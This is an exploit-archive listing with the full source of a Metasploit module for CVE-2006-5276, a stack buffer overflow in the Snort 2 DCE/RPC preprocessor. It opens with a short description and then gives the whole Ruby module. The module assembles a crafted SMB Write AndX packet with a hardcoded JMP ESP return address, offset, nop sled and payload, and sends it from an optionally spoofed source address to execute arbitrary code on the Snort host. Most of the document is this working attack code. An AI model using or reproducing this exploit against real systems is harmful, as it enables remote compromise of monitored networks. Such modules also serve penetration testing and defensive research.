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Snort 2 DCE/RPC Preprocessor Buffer Overflow

Snort 2 DCE/RPC Preprocessor Buffer Overflow
Posted Apr 10, 2012
Authored by Neel Mehta | Site metasploit.com

This Metasploit module allows remote attackers to execute arbitrary code by exploiting the Snort service via crafted SMB traffic. The vulnerability is due to a boundary error within the DCE/RPC preprocessor when reassembling SMB Write AndX requests, which may result a stack-based buffer overflow with a specially crafted packet sent on a network that is monitored by Snort. Vulnerable versions include Snort 2.6.1, 2.7 Beta 1 and SourceFire IDS 4.1, 4.5 and 4.6. Any host on the Snort network may be used as the remote host. The remote host does not need to be running the SMB service for the exploit to be successful.

tags | exploit, remote, overflow, arbitrary
advisories | CVE-2006-5276, OSVDB-67988
MD5 | b8d9d446349018625c77a97b4725cd67

Snort 2 DCE/RPC Preprocessor Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Capture
include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Snort 2 DCE/RPC preprocessor Buffer Overflow',
'Description' => %q{
This module allows remote attackers to execute arbitrary code by exploiting the
Snort service via crafted SMB traffic. The vulnerability is due to a boundary
error within the DCE/RPC preprocessor when reassembling SMB Write AndX requests,
which may result a stack-based buffer overflow with a specially crafted packet
sent on a network that is monitored by Snort.

Vulnerable versions include Snort 2.6.1, 2.7 Beta 1 and SourceFire IDS 4.1, 4.5 and 4.6.

Any host on the Snort network may be used as the remote host. The remote host does not
need to be running the SMB service for the exploit to be successful.
},
'Author' =>
[
'Neel Mehta', #Original discovery (IBM X-Force)
'Carsten Maartmann-Moe <carsten[at]carmaa.com>' #Metasploit
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'References' =>
[
[ 'OSVDB', '67988' ],
[ 'CVE', '2006-5276' ],
[ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/22616-linux.py']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 390,
'BadChars' => "\x00",
'DisableNops' => true,
},
'Targets' =>
[
[
'Windows Universal',
{
'Ret' => 0x00407c01, # JMP ESP snort.exe
'Offset' => 289 # The number of bytes before overwrite
}
],
],
'Privileged' => true,
'DisclosureDate' => 'Feb 19 2007',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(139),
OptAddress.new('RHOST', [ true, 'A host on the Snort-monitored network' ]),
OptAddress.new('SHOST', [ false, 'The (potentially spoofed) source address'])
], self.class)

deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT')
end

def exploit
open_pcap

shost = datastore['SHOST'] || Rex::Socket.source_address(rhost)

p = buildpacket(shost, rhost, rport.to_i)

print_status("Sending crafted SMB packet from #{shost} to #{rhost}:#{rport}...")

capture_sendto(p, rhost)

handler
end

def buildpacket(shost, rhost, rport)
p = PacketFu::TCPPacket.new
p.ip_saddr = shost
p.ip_daddr = rhost
p.tcp_dport = rport
p.tcp_flags.psh = 1
p.tcp_flags.ack = 1

# SMB packet borrowed from http://exploit-db.com/exploits/3362

# NetBIOS Session Service, value is the number of bytes in the TCP segment,
# must be greater than the total size of the payload. Statically set.
header = "\x00\x00\xde\xad"

# SMB Header
header << "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"
header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
header << "\x00\x08\x30\x00"

# Tree Connect AndX Request
header << "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"
header << "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"
header << "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"
header << "\x3f\x3f\x3f\x3f\x3f\x00"

# NT Create AndX Request
header << "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"
header << "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
header << "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"
header << "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"
header << "\x63\x00\x00\x00"

# Write AndX Request #1
header << "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
header << "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"
header << "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00"
header << "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
header << "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
header << "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
header << "\x2b\x10\x48\x60\x02\x00\x00\x00"

# Write AndX Request #2
header << "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
header << "\x00\x48\x00\x00\x00\xff\x01"

tail = "\x00\x00\x00\x00\x49\x00\xee"

# Return address
eip = [target['Ret']].pack('V')

# Sploit
sploit = make_nops(10)
sploit << payload.encoded

# Padding (to pass size check)
sploit << make_nops(1)

# The size to be included in Write AndX Request #2, including sploit payload
requestsize = [(sploit.size() + target['Offset'])].pack('v')

# Assemble the parts into one package
p.payload = header << requestsize << tail << eip << sploit
p.recalc

p
end
end

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